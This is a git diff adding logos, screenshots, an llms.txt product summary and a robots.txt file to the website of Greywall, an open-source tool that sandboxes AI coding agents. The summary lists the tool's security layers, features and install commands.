After Width: | Height: | Size: 456 KiB |
BIN
public/agents/aider-ai.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
public/agents/anthropics.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/block.png
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
public/agents/cline.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/getcursor.png
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
public/agents/github.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
public/agents/google-gemini.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
public/agents/nicepkg.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
public/agents/openai.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
public/agents/sourcegraph.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
|
Before Width: | Height: | Size: 2.6 KiB After Width: | Height: | Size: 4.2 KiB |
BIN
public/conversations.png
Normal file
|
After Width: | Height: | Size: 527 KiB |
BIN
public/dashboard.png
Normal file
|
After Width: | Height: | Size: 272 KiB |
|
Before Width: | Height: | Size: 0 B After Width: | Height: | Size: 850 B |
|
Before Width: | Height: | Size: 585 B After Width: | Height: | Size: 850 B |
|
Before Width: | Height: | Size: 566 B After Width: | Height: | Size: 850 B |
30
public/llms.txt
Normal file
@@ -0,0 +1,30 @@
|
||||
# Greywall
|
||||
|
||||
> Frictionless sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Built by Greyhaven, licensed Apache 2.0.
|
||||
|
||||
## Key Features
|
||||
- Filesystem isolation (kernel-enforced read/write/deny per path)
|
||||
- Network isolation (all traffic routed through Greywall's proxy)
|
||||
- Command blocking (detects blocked commands in pipes, chains, nested shells)
|
||||
- Real-time violation monitoring (every denial captured with full context)
|
||||
- Learning mode (auto-generates least-privilege templates from observed access)
|
||||
- Syscall filtering (blocks 27+ dangerous system calls via Seccomp BPF)
|
||||
- Dynamic allow/deny controls (adjust policies live without restarting)
|
||||
|
||||
## Links
|
||||
- [Homepage](https://greywall.io)
|
||||
- [Documentation](https://docs.greywall.io/)
|
||||
- [GitHub](https://github.com/GreyhavenHQ/greywall)
|
||||
- [Greyhaven (parent company)](https://greyhaven.co)
|
||||
|
||||
## Install
|
||||
- Homebrew: `brew tap greyhavenhq/tap && brew install greywall`
|
||||
- Curl: `curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh`
|
||||
- Go: `go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest`
|
||||
|
||||
## Compatibility
|
||||
Works with: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot.
|
||||
Platforms: Linux (3.8+), macOS.
|
||||
License: Apache 2.0.
|
||||
BIN
public/og-image.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
BIN
public/pending_requests.png
Normal file
|
After Width: | Height: | Size: 320 KiB |
26
public/robots.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Disallow: /api/
|
||||
|
||||
User-agent: GPTBot
|
||||
Allow: /
|
||||
|
||||
User-agent: OAI-SearchBot
|
||||
Allow: /
|
||||
|
||||
User-agent: ClaudeBot
|
||||
Allow: /
|
||||
|
||||
User-agent: PerplexityBot
|
||||
Allow: /
|
||||
|
||||
User-agent: CCBot
|
||||
Disallow: /
|
||||
|
||||
User-agent: anthropic-ai
|
||||
Disallow: /
|
||||
|
||||
User-agent: cohere-ai
|
||||
Disallow: /
|
||||
|
||||
Sitemap: https://greywall.io/sitemap.xml
|
||||
BIN
public/rules.png
Normal file
|
After Width: | Height: | Size: 323 KiB |
|
Before Width: | Height: | Size: 203 KiB |